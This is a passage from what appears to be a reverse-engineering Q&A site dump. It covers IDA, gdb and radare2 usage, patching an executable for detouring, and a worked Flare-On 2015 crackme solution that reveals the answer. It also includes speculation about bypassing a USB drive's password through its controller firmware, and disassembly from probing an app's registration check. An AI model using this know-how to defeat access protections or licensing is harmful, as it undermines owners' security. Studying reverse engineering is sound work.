binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I skipped your other questions as they were too broad to answer, I suggest you to make separate questions with more details.&lt;/p&gt;&#xA;" OwnerUserId="2354" LastActivityDate="2016-02-11T17:17:46.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12006" PostTypeId="2" ParentId="11995" CreationDate="2016-02-11T17:52:21.323" Score="0" Body="&lt;p&gt;To identify the nearest symbol for a given address you can try &quot;info&quot; command:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;info symbol address&lt;/p&gt;&#xA;" OwnerUserId="4133" LastActivityDate="2016-02-11T17:52:21.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12007" PostTypeId="2" ParentId="12002" CreationDate="2016-02-11T18:01:07.600" Score="0" Body="&lt;p&gt;Based on &lt;a href=&quot;http://pastebin.com/qDMP0yz0&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/qDMP0yz0&lt;/a&gt;, you have enough space to make this work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest solution is to patch your target executable such that the data from Virtual Address &lt;code&gt;0x004BAC10&lt;/code&gt; through &lt;code&gt;0x004BAC1E&lt;/code&gt; is all &lt;code&gt;nop&lt;/code&gt;s (&lt;code&gt;0x90&lt;/code&gt; bytes), and patch in a &lt;code&gt;retn&lt;/code&gt; (&lt;code&gt;0xC3&lt;/code&gt; byte) at Virtual Address &lt;code&gt;0x004BAC1F&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll then be able to detour the function with Microsoft Detours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If patching the EXE isn't an option, let us know and I can look at Detours to suggest what needs to be changed in the Detours library itself.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-02-11T18:01:07.600" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12008" PostTypeId="1" AcceptedAnswerId="12010" CreationDate="2016-02-11T19:23:03.657" Score="3" ViewCount="7265" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PCt3C.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PCt3C.png&quot; alt=&quot;IDA screen shot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get the &lt;code&gt;8B 45 FC&lt;/code&gt; corresponding to the  &lt;code&gt;mov     eax, [rbp+var_4]&lt;/code&gt;&#xA;etc. via idapython?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did not come up with a better solution than&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Getting the instruction via &lt;code&gt;idautils.DecodeInstruction()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Getting the instruction's size in bytes&lt;/li&gt;&#xA;&lt;li&gt;Looping over all bytes of the instruction and fetching the content via &lt;code&gt;idc.Byte()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is there a better solution, e.g. an api call (which I did not find)?&lt;/p&gt;&#xA;" OwnerUserId="11830" LastActivityDate="2016-02-11T20:52:38.980" Title="Idapython: How to get the opcode bytes corresponding to an instruction?" Tags="|idapython|idapro-sdk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12009" PostTypeId="1" CreationDate="2016-02-11T20:29:34.710" Score="0" ViewCount="1763" Body="&lt;p&gt;When dealing with linux binaries, I like IDA as my static analysis tool and gdb as my debugger. However I have not found an effective way to integrate the two with each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To give an example, let's say I want to place a breakpoint. I will find the place in IDA. Then I will switch from graph to text mode, copy the instruction's address, switch to another window where gdb is running, enter in &quot;b *0x&quot;, paste, and then I have my breakpoint. If PIE is enabled the process is worse. This is cumbersome. Furthermore, when stepping in gdb I don't have all the names or comments I've declared in IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way to deal with this synchronization? &lt;/p&gt;&#xA;" OwnerUserId="13402" LastActivityDate="2023-12-22T15:05:15.623" Title="How do you effectively use gdb and IDA together?" Tags="|ida|gdb|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="12010" PostTypeId="2" ParentId="12008" CreationDate="2016-02-11T20:52:38.980" Score="8" Body="&lt;p&gt;Another solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ea = ScreenEA() # Or whatever you want&#xA;buf = idc.GetManyBytes(ea, ItemSize(ea))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="111" LastActivityDate="2016-02-11T20:52:38.980" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12011" PostTypeId="1" CreationDate="2016-02-12T06:13:40.133" Score="2" ViewCount="418" Body="&lt;p&gt;I am debugging an old Sony PlayStation 1 MIPS binary that swaps a bunch of submodules using same base address for loading. I am trying to find a workflow that would allow me to have all the submodules loaded at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my understanding it's impossible to create overlapping segments in IDA, so I tried loading the binary at a higher address(outside of the 2MB of RAM IDA expects), but IDA doesn't like this - code blocks are not automatically detected and when forced - offsets are all wrong(not a big surprise). So do I have any options here? Looks like other way around is to try to sync data between multiple projects, but based on other answers - that's far from perfect too.&lt;/p&gt;&#xA;" OwnerUserId="15040" LastEditorUserId="53" LastEditDate="2016-02-12T08:17:47.267" LastActivityDate="2016-02-12T08:17:47.267" Title="Multiple &quot;overlays&quot; using same addresses in IDA" Tags="|ida|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12012" PostTypeId="1" AcceptedAnswerId="12015" CreationDate="2016-02-12T17:38:25.150" Score="-1" ViewCount="63" Body="&lt;p&gt;I am new to reverse engineering code. I am currently trying to reverse engineer code that is poorly documented. The reason being is that my system will be based of the code I am reverse engineering. It is currently too complex to simple go through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A friend of mine recommend I use a diagram called a USES diagram. He explained is as such. The diagram displays the modules and how each module connects to one another. The arrows display the data transfer between the modules. IT can be described that M1 uses M12 uses M2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been looking on the net to find a better description of this and how I can create such a diagram and how I can define a module. I am attempting to define the architecture of the program. Unfortunately, a google search turned up very little.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering, is there another name for this type of diagram? I was describing it to another friend and he says that it sounded like a special case of a UML diagram.&lt;/p&gt;&#xA;" OwnerUserId="15046" LastActivityDate="2016-02-12T19:10:38.237" Title="What is a USES Diagram?" Tags="|code-modeling|" AnswerCount="1" CommentCount="1" ClosedDate="2016-02-15T21:09:22.650" ContentLicense="CC BY-SA 3.0" />
  <row Id="12014" PostTypeId="1" AcceptedAnswerId="12016" CreationDate="2016-02-12T17:55:31.500" Score="11" ViewCount="6152" Body="&lt;p&gt;I am totally blind and want to learn to do reverse engineering so I can advance my career. Unfortunately, IDA Pro, Immunity and OllyDbg are all not accessible to a blind person using a screenreader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any good alternatives on both windows and Linux for these tools?&#xA;I have used gdb on Linux a little and WinDbg on windows as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just need a recommendation on what is industry standard if the three biggies can't be used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Don&lt;/p&gt;&#xA;" OwnerUserId="8742" LastEditorUserId="38" LastEditDate="2018-10-30T16:55:27.570" LastActivityDate="2018-10-30T16:55:27.570" Title="Best alternatives to IDA Pro, Immunity and OllyDbg for a blind user" Tags="|ida|ollydbg|tools|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="12015" PostTypeId="2" ParentId="12012" CreationDate="2016-02-12T19:10:38.237" Score="0" Body="&lt;p&gt;It sounds like your friend is describing a &lt;a href=&quot;https://en.wikipedia.org/wiki/Dependency_graph&quot; rel=&quot;nofollow&quot;&gt;dependency graph&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-02-12T19:10:38.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12016" PostTypeId="2" ParentId="12014" CreationDate="2016-02-12T19:27:01.423" Score="7" Body="&lt;p&gt;You can use &lt;a href=&quot;https://sourceware.org/gdb/&quot; rel=&quot;noreferrer&quot;&gt;gdb&lt;/a&gt; on Linux, &lt;a href=&quot;https://msdn.microsoft.com/en-us/windows/hardware/hh852365&quot; rel=&quot;noreferrer&quot;&gt;WinDBG&lt;/a&gt;, and could give a try to &lt;a href=&quot;http://rada.re&quot; rel=&quot;noreferrer&quot;&gt;radare2&lt;/a&gt;: it's not as rock-stable as the two previous ones, but it's tailored for reverse engineering, and supports &lt;code&gt;gdb://&lt;/code&gt; and &lt;code&gt;windbg://&lt;/code&gt; protocols ;) All of them have a textual interface that should be suitable for braille-interfaces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I guess that the killer-feature of radare2 for blind people is that it has ascii control-flow graphs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                       =------------------------------------------------------=&#xA;                       | [0x400536]                                           |&#xA;                       | main:                                                |&#xA;                       | (fcn) sym.main 50                                    |&#xA;                       | ; arg int arg_0_2      @ rbp+0x2                     |&#xA;                       | ; var int local_0_1    @ rbp-0x1                     |&#xA;                       | push rbp                                             |&#xA;                       | mov rbp, rsp                                         |&#xA;                       | sub rsp, 0x10                                        |&#xA;                       | mov dword [rbp - 4], edi                             |&#xA;                       | mov qword [rbp - 0x10], rsi                          |&#xA;                       | cmp dword [rbp - 4], 2 ; test.c:2     if (argc &amp;gt; 2)  |&#xA;                       | jle 0x400557 ;[a]                                    |&#xA;                       =------------------------------------------------------=&#xA;                             t f&#xA;  .--------------------------' '------------------------------.&#xA;  |                                                           |&#xA;  |                                                           |&#xA;=--------------------------------------------------=      =--------------------------------------------------=&#xA;|  0x400557                                        |      |  0x40054b                                        |&#xA;| mov edi, 0x4005f7 ; test.c:5         puts(&quot;Oo&quot;); |      | mov edi, 0x4005f4 ; test.c:3         puts(&quot;Ok&quot;); |&#xA;| call sym.imp.puts ;[b]                           |      | call sym.imp.puts ;[b]                           |&#xA;=--------------------------------------------------=      | jmp 0x400561 ;[c]                                |&#xA;    v                                                     =--------------------------------------------------=&#xA;    |                                                         v&#xA;    '-----------------------------------.---------------------'&#xA;                                    |&#xA;                                    |&#xA;                                =-------------------------------------=&#xA;                                |  0x400561                           |&#xA;                                | mov eax, 0 ; test.c:6     return 0; |&#xA;                                | leave ; test.c:7 }                  |&#xA;                                | ret                                 |&#xA;                                =-------------------------------------=&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are a lot of slides available from various talks about radare2, but I guess the easiest way to lrean how to use it is to read the &lt;a href=&quot;https://www.gitbook.com/book/radare/radare2book/details&quot; rel=&quot;noreferrer&quot;&gt;radare2 book&lt;/a&gt;. I'm quite sure that everyone would be happy to help you/implement missing features on the irc channel!&lt;/p&gt;&#xA;" OwnerUserId="1485" LastEditorUserId="1485" LastEditDate="2016-02-12T19:44:04.487" LastActivityDate="2016-02-12T19:44:04.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12017" PostTypeId="2" ParentId="12009" CreationDate="2016-02-12T19:42:17.293" Score="0" Body="&lt;p&gt;As suggested by joxeankoret, try using the &quot;Remote GDB Debugger&quot; backend in IDA. It's quite simple to setup, debug your program with &lt;code&gt;gdbserver&lt;/code&gt; and connect to it with IDA.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2016-02-12T19:42:17.293" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12018" PostTypeId="2" ParentId="12014" CreationDate="2016-02-12T21:04:07.130" Score="4" Body="&lt;p&gt;A thought - Visual Studio has good accessibility features (according to their blog at least) and it can display assembly code for a compiled app. This is good if you want to learn what complied constructs look like in binary. Courses such as &lt;a href=&quot;http://opensecuritytraining.info/IntroX86.html&quot; rel=&quot;nofollow&quot;&gt;http://opensecuritytraining.info/IntroX86.html&lt;/a&gt; use Visual Studio for code analysis exclusively. I understand the videos for this course are not narrated well from a point of view of a blind person, but they are still useful even if you cannot see what is happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, Windbg is a very good debugger these days. You will be priceless if you master Windbg. Ollie is for wussies :) Immunity is essentially a few years' old version of Ollie with some plugins for exploit development.&lt;/p&gt;&#xA;" OwnerUserId="1358" LastEditorUserId="1358" LastEditDate="2016-02-12T21:12:37.143" LastActivityDate="2016-02-12T21:12:37.143" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12019" PostTypeId="1" AcceptedAnswerId="12020" CreationDate="2016-02-12T22:21:56.330" Score="1" ViewCount="148" Body="&lt;p&gt;I am wanting to examine changes made to Windows after an update is made. I would like to see the actually files that were patched and see what in the code might have been changed and see what the problem was.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if windows updates MS0xxx buffer overflow. I would like to see what the problem was and what was changed to fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this ? &lt;/p&gt;&#xA;" OwnerUserId="6992" LastActivityDate="2016-02-13T00:59:14.970" Title="Get bindiff of operating system or modified files post upgrade" Tags="|windows|patch-reversing|operating-systems|bin-diffing|" AnswerCount="1" CommentCount="0" ClosedDate="2016-02-16T05:49:42.950" ContentLicense="CC BY-SA 3.0" />
  <row Id="12020" PostTypeId="2" ParentId="12019" CreationDate="2016-02-13T00:59:14.970" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I would like to see the actually files that were patched ...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Old-school: &lt;a href=&quot;http://download.cnet.com/Winalysis/3000-2162_4-10047818.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Winalysis&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;New-school: &lt;a href=&quot;https://en.wikipedia.org/wiki/Attack_Surface_Analyzer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Attack Surface Analyzer&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;... and see what in the code might have been changed and see what the problem was.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As @Neitsa said, see &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1879/how-can-i-diff-two-x86-binaries-at-assembly-code-level&quot;&gt;how can I diff two x86 binaries at assembly code level?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2016-02-13T00:59:14.970" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12022" PostTypeId="1" AcceptedAnswerId="12028" CreationDate="2016-02-13T05:07:04.877" Score="-1" ViewCount="220" Body="&lt;p&gt;Learning how to use radare2 while getting the feel for crackmes.  Following the steps for Flare-on 2015 Challenge One on hxxp://solidsec.blogspot.com/2015/10/ctf-fire-eye-flareon-2015-challenges-1-3.html (change hxxp to http, not enough cred to embed the link after adding the two pictures :-( sorry)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Load exe using r2 -A &lt;/li&gt;&#xA;&lt;li&gt;go to address 0x00402140 &lt;/li&gt;&#xA;&lt;li&gt;px 0x18&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fAGju.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fAGju.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get all FFs.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The documentation of the site shows actual values versus all FFs as seen below:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/iCGY6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iCGY6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem with my copy of radare2 (running off of Remnux) or not loading the exe right into r2?  I realize the number of variables here is just about endless, but hoping it is just something simple that I'm missing due to being new to RE.  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="15050" LastActivityDate="2016-02-14T10:18:07.907" Title="Radare2 Flare-on 2015, Why results different?" Tags="|radare2|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12024" PostTypeId="2" ParentId="12022" CreationDate="2016-02-13T09:40:33.760" Score="1" Body="&lt;p&gt;the first file needs to be extracted to get another executable and then you can find the email address that is needed to pass the challenge in the extacted executable&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2015_FLAREOn_Challenges\1&amp;gt;r2 -A i_am_happy_you_are_to_playing_the_flareon_challenge.exe&#xA;[0x00401000]&amp;gt; s 0x402140 ; px 24 ; e io.cache = true ; wox 0x7d @0x402140:24 ; px 24&#xA;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x00402140  1f08 1313 0422 0e11 4d0d 183d 1b11 1c0f  .....&quot;..M..=....&#xA;0x00402150  1850 1213 531e 1210                      .P..S...&#xA;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x00402140  6275 6e6e 795f 736c 3070 6540 666c 6172  bunny_sl0pe@flar&#xA;0x00402150  652d 6f6e 2e63 6f6d                      e-on.com&#xA;[0x00402140]&amp;gt;&#xA;&#xA;&#xA;&#xA; md5 of the extracted executable = &#xA;    $b=&quot;&quot;;(([system.security.cryptography.md5]::Create(&quot;md5&quot;)).computehash( &#xA;( gc -Encoding byte arg1))) | %{$b+=&quot;{0:X2}&quot; -f $_} ;$b&#xA;&#xA;7C0F16DE595AE03E2928D3FA6B73B235&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2016-02-13T10:09:01.067" LastActivityDate="2016-02-13T10:09:01.067" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12026" PostTypeId="1" AcceptedAnswerId="12029" CreationDate="2016-02-13T20:49:45.590" Score="0" ViewCount="11618" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JdO64.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JdO64.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;when i input .exe file to PEiD v0.95 it gives output like&#xA;&lt;strong&gt;&lt;em&gt;&quot;Borland Delphi 6.0 - 7.0 [Overlay]&quot;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i want to retrieve code from .exe file. So how to do that . Can any one give me right path for that.&lt;/p&gt;&#xA;" OwnerUserId="15055" LastActivityDate="2016-02-14T12:09:42.007" Title="How to extract code form .exe file having signature Borland Delphi 6.0 - 7.0 [Overlay]" Tags="|debugging|delphi|exe|" AnswerCount="2" CommentCount="1" ClosedDate="2016-02-16T05:52:55.047" ContentLicense="CC BY-SA 3.0" />
  <row Id="12027" PostTypeId="2" ParentId="12026" CreationDate="2016-02-13T21:23:38.103" Score="0" Body="&lt;p&gt;As far as I am concerned, you cannot retrieve the high level code from an executable.Fire up your debugger and analyze it.&lt;/p&gt;&#xA;" OwnerUserId="15056" LastActivityDate="2016-02-13T21:23:38.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12028" PostTypeId="2" ParentId="12022" CreationDate="2016-02-14T10:18:07.907" Score="2" Body="&lt;p&gt;Radare2 from remnux is probably 5 years old, use radare2 from github version : &lt;code&gt;git clone https://github.com/radare/radare2 &amp;amp;&amp;amp; cd radare2 &amp;amp;&amp;amp; ./sys/install.sh&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3721" LastActivityDate="2016-02-14T10:18:07.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12029" PostTypeId="2" ParentId="12026" CreationDate="2016-02-14T12:09:42.007" Score="1" Body="&lt;p&gt;I had the same question.. Unfortunatly thre is no tool that can provides you the original source code. But the perfect solution that I found is to use OllyDbg or IdaPro. In this way you can navigate inside the code reading ASM lenguage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If ASM is a problem for you.. IdaPro can probably help showing a sort of pseudocode, that is not exactly like the original source code, but it can give you an idea about the CodeFlow &lt;/p&gt;&#xA;" OwnerUserId="14748" LastActivityDate="2016-02-14T12:09:42.007" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12030" PostTypeId="1" CreationDate="2016-02-14T14:45:02.343" Score="1" ViewCount="292" Body="&lt;p&gt;I have a binary file for known hardware platform, but nothing more is known. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I load this file in IDA (with default parameters), nothing good happens - at least does not appear xrefs to readable strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest that the case in the loading parameters: the loading address and the entry point. Maybe some even.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only solution I see in the bruteforce these parameters and re-launch auto analysis. Before that I would like to help IDA by designation some pieces of code - readable strings as strings, small common hardware patterns as code pieces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Success criteria - the appearance of xrefs to the strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I'm newbie in IDAPython, and I'm only has learned to show to IDA strings (by MakeStr-function).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I change loading parameters and launch full auto-analysis in IDAPython script?&lt;/p&gt;&#xA;" OwnerUserId="15061" LastEditorUserId="15017" LastEditDate="2016-02-14T21:02:41.230" LastActivityDate="2016-02-14T21:02:41.230" Title="IDAPython loading parameters bruteforce" Tags="|ida|idapython|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12031" PostTypeId="2" ParentId="11989" CreationDate="2016-02-14T15:30:27.167" Score="1" Body="&lt;p&gt;It's not possible to bypass the password protection of V-Safe 100 by patching VSafe100.exe or reversing it's proprietary API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The linked article about VSafeVista mentions Verbatim drives using a USBest usb flash controller. The UT163 flash controller does not have any integrated encryption or privacy volume support. VSafeVista emulates it in software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;VSafe100.exe works with Phison controllers like the PS2231. These controllers have integrated encryption and support for this concept of a privacy volume.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;VSafe100.exe never handles the password that was used to lock the privacy volume. It sends a &quot;switch volume&quot; command with the user supplied password, and the response from the controller is some kind of volume state indicator (0xA0, 0xA1, 0xA2) that tells VSafe100 which volume the controller is currently presenting. Based on the volume state response, VSafe100 knows whether the unlock was successful or not, and it knows which volume is currently mounted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be possible to attack or patch the controller's firmware to bypass or extract the stored password, or to extract the privacy volume encryption keys and read directly from the flash chip. Reversing the firmware would be dependent on the usb flash controller used by your particular flash drive. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a tool called GetInfo on the internet for Phison devices that will report the controller model and firmware version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also a project on github with some references to the Phison 2251-03 controller. This is a modern USB3 controller from Phison. So it's not completely unreasonable that the firmware could be deciphered enough to recover the privacy volume. &lt;/p&gt;&#xA;" OwnerUserId="14495" LastActivityDate="2016-02-14T15:30:27.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12032" PostTypeId="2" ParentId="12014" CreationDate="2016-02-14T20:38:19.143" Score="2" Body="&lt;p&gt;You might give a try to &lt;a href=&quot;https://inguma.eu/projects/bokken/&quot; rel=&quot;nofollow&quot;&gt;Bokken&lt;/a&gt;, which is a front-end for Radare2 and Pyew. Pyew is a malware-analysis framework for Python, but Bokken can be useful as an extra set of eyes in your reverse engineering toolchain for any purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another great alternative is &lt;a href=&quot;http://www.emilpro.com&quot; rel=&quot;nofollow&quot;&gt;EmilPRO&lt;/a&gt;, a front-end for objdump (from the GNU binutils package). EmilPRO's main claim is support for many architectures, primarily leveraging the GNU binutils support of popular file types such as ELF, PE, and Mach-O. It's name is a play on IDA Pro. It has support for Qt and GTK.&lt;/p&gt;&#xA;" OwnerUserId="3989" LastActivityDate="2016-02-14T20:38:19.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12033" PostTypeId="1" AcceptedAnswerId="12035" CreationDate="2016-02-15T02:15:17.243" Score="-1" ViewCount="4668" Body="&lt;p&gt;for some months nearly a year of reversing an app not for cracking but my is to see the difference between the registered version and the unregistered one.&#xA;according to my research both apps(registered or not) displays a dialog but the unregistered version have two header files in different position, I found that using XORSearch and I thought like there is another executable inside the unregistered app then and I also found some calls like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     005A0B8E    mov        edx,5A0D88; '[my documents]'&#xA;     005A0B93    call       @UStrLAsg&#xA;     005A0B98    lea        edx,[ebp-18]&#xA;     005A0B9B    mov        eax,dword ptr [ebp-4]&#xA;     005A0B9E    call       LowerCase&#xA;     005A0BA3    mov        edx,dword ptr [ebp-18]&#xA;     005A0BA6    mov        eax,dword ptr [ebp-0C]&#xA;     005A0BA9    call       Pos&#xA;     005A0BAE    test       eax,eax&#xA;    &amp;gt;005A0BB0    jle        005A0BE1&#xA;     005A0BB2    lea        edx,[ebp-8]&#xA;     005A0BB5    mov        eax,5&#xA;     005A0BBA    call       005A0A7C&#xA;     005A0BBF    movzx      eax,byte ptr ds:[5A0D78]; 0x3&#xA;     005A0BC6    push       eax&#xA;     005A0BC7    push       ebx&#xA;     005A0BC8    lea        edx,[ebp-1C]&#xA;     005A0BCB    mov        eax,dword ptr [ebp-4]&#xA;     005A0BCE    call       LowerCase&#xA;     005A0BD3    mov        eax,dword ptr [ebp-1C]&#xA;     005A0BD6    mov        ecx,dword ptr [ebp-8]&#xA;     005A0BD9    mov        edx,dword ptr [ebp-0C]&#xA;     005A0BDC    call       StringReplace&#xA;     005A0BE1    lea        eax,[ebp-0C]&#xA;     005A0BE4    mov        edx,5A0DB4; '[all users documents]'&#xA;     005A0BE9    call       @UStrLAsg&#xA;     005A0BEE    lea        edx,[ebp-20]&#xA;     005A0BF1    mov        eax,dword ptr [ebp-4]&#xA;     005A0BF4    call       LowerCase&#xA;     005A0BF9    mov        edx,dword ptr [ebp-20]&#xA;     005A0BFC    mov        eax,dword ptr [ebp-0C]&#xA;     005A0BFF    call       Pos&#xA;     005A0C04    test       eax,eax&#xA;    &amp;gt;005A0C06    jle        005A0C37&#xA;     005A0C08    lea        edx,[ebp-8]&#xA;     005A0C0B    mov        eax,2E&#xA;     005A0C10    call       005A0A7C&#xA;     005A0C15    movzx      eax,byte ptr ds:[5A0D78]; 0x3&#xA;     005A0C1C    push       eax&#xA;     005A0C1D    push       ebx&#xA;     005A0C1E    lea        edx,[ebp-24]&#xA;     005A0C21    mov        eax,dword ptr [ebp-4]&#xA;     005A0C24    call       LowerCase&#xA;     005A0C29    mov        eax,dword ptr [ebp-24]&#xA;     005A0C2C    mov        ecx,dword ptr [ebp-8]&#xA;     005A0C2F    mov        edx,dword ptr [ebp-0C]&#xA;     005A0C32    call       StringReplace&#xA;     005A0C37    lea        eax,[ebp-0C]&#xA;     005A0C3A    mov        edx,5A0DEC; '[program folder]'&#xA;     005A0C3F    call       @UStrLAsg&#xA;     005A0C44    lea        edx,[ebp-28]&#xA;     005A0C47    mov        eax,dword ptr [ebp-4]&#xA;     005A0C4A    call       LowerCase&#xA;     005A0C4F    mov        edx,dword ptr [ebp-28]&#xA;     005A0C52    mov        eax,dword ptr [ebp-0C]&#xA;     005A0C55    call       Pos&#xA;     005A0C5A    test       eax,eax&#xA;    &amp;gt;005A0C5C    jle        005A0CA5&#xA;     005A0C5E    lea        edx,[ebp-30]&#xA;     005A0C61    mov        eax,[005CC76C]; ^Application:TApplication&#xA;     005A0C66    mov        eax,dword ptr [eax]&#xA;     005A0C68    call       TApplication.GetExeName&#xA;     005A0C6D    mov        eax,dword ptr [ebp-30]&#xA;     005A0C70    lea        edx,[ebp-2C]&#xA;     005A0C73    call       ExtractFileDir&#xA;     005A0C78    mov        eax,dword ptr [ebp-2C]&#xA;     005A0C7B    lea        edx,[ebp-8]&#xA;     005A0C7E    call       IncludeTrailingPathDelimiter&#xA;     005A0C83    movzx      eax,byte ptr ds:[5A0D78]; 0x3&#xA;     005A0C8A    push       eax&#xA;     005A0C8B    push       ebx&#xA;     005A0C8C    lea        edx,[ebp-34]&#xA;     005A0C8F    mov        eax,dword ptr [ebp-4]&#xA;     005A0C92    call       LowerCase&#xA;     005A0C97    mov        eax,dword ptr [ebp-34]&#xA;     005A0C9A    mov        ecx,dword ptr [ebp-8]&#xA;     005A0C9D    mov        edx,dword ptr [ebp-0C]&#xA;     005A0CA0    call       StringReplace&#xA;     005A0CA5    lea        eax,[ebp-0C]&#xA;     005A0CA8    mov        edx,5A0E1C; '[desktop]'&#xA;     005A0CAD    call       @UStrLAsg&#xA;     005A0CB2    lea        